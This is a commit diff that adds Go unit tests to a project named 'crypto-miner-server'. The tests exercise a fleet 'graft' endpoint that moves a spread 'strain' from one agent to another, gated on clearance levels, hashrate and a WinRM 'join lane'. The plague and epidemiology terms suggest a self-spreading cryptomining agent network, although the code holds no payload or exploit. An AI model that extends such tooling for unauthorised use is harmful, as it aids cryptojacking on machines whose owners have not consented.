Add fleet topology epidemiology: strain plague map and mining interrupt fixes.

Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.

server/internal/api/fleet_graft_test.go

@@ -0,0 +1,94 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"testing"
+	"time"
+
+	"crypto-miner-server/internal/clearance"
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/models"
+	"crypto-miner-server/internal/pool"
+)
+
+func TestPostFleetGraftRequiresToggles(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{})
+	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
+
+	body, _ := json.Marshal(map[string]string{
+		"source_agent_id": "src", "target_agent_id": "dst",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(body))
+	rec := httptest.NewRecorder()
+	fh.PostFleetGraft(rec, req)
+	if rec.Code != http.StatusBadRequest {
+		t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
+	}
+}
+
+func TestPostFleetGraftApprovesWithL4AndMetabolism(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	hub.SetServerPolicy(ServerPolicy{
+		AIControlEnabled: true, FleetRolesEnabled: true, HashrateGateHPS: 10,
+	})
+	_ = hub.ClearanceManager().InitAgent("target", &models.Agent{ID: "target", Name: "tgt"})
+	_, _ = hub.ClearanceManager().RequestElevation("target", clearance.L4, "test", "test")
+
+	for _, ag := range []*models.Agent{
+		{ID: "source", Name: "winner", Platform: "windows", IP: "10.0.0.1", Status: "online",
+			SpreadStrain: "#aabbcc", LastSeen: time.Now()},
+		{ID: "target", Name: "recipient", Platform: "windows", IP: "10.0.0.2", Status: "online",
+			MiningHashrate: 50, Hashrate15s: 50, LastSeen: time.Now()},
+	} {
+		if err := database.UpsertAgent(ag); err != nil {
+			t.Fatal(err)
+		}
+	}
+	hub.mu.Lock()
+	hub.agentLiveTelemetry["source"] = map[string]interface{}{
+		"join_lane": "winrm", "mining_hashrate": 100.0,
+	}
+	hub.agentLiveTelemetry["target"] = map[string]interface{}{
+		"mining_hashrate": 50.0, "hashrate_15s": 50.0,
+	}
+	hub.mu.Unlock()
+
+	fh := NewFleetHandler(database, hub, nil, nil, nil, pool.Config{}, t.TempDir())
+	payload, _ := json.Marshal(map[string]string{
+		"source_agent_id": "source", "target_agent_id": "target",
+	})
+	req := httptest.NewRequest(http.MethodPost, "/api/v1/fleet/graft", bytes.NewReader(payload))
+	rec := httptest.NewRecorder()
+	fh.PostFleetGraft(rec, req)
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String())
+	}
+	var resp map[string]interface{}
+	if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
+		t.Fatal(err)
+	}
+	if resp["success"] != true {
+		t.Fatalf("resp=%v", resp)
+	}
+	updated, err := database.GetAgent("target")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if updated.GraftTier != "winrm" {
+		t.Fatalf("graft_tier = %q", updated.GraftTier)
+	}
+}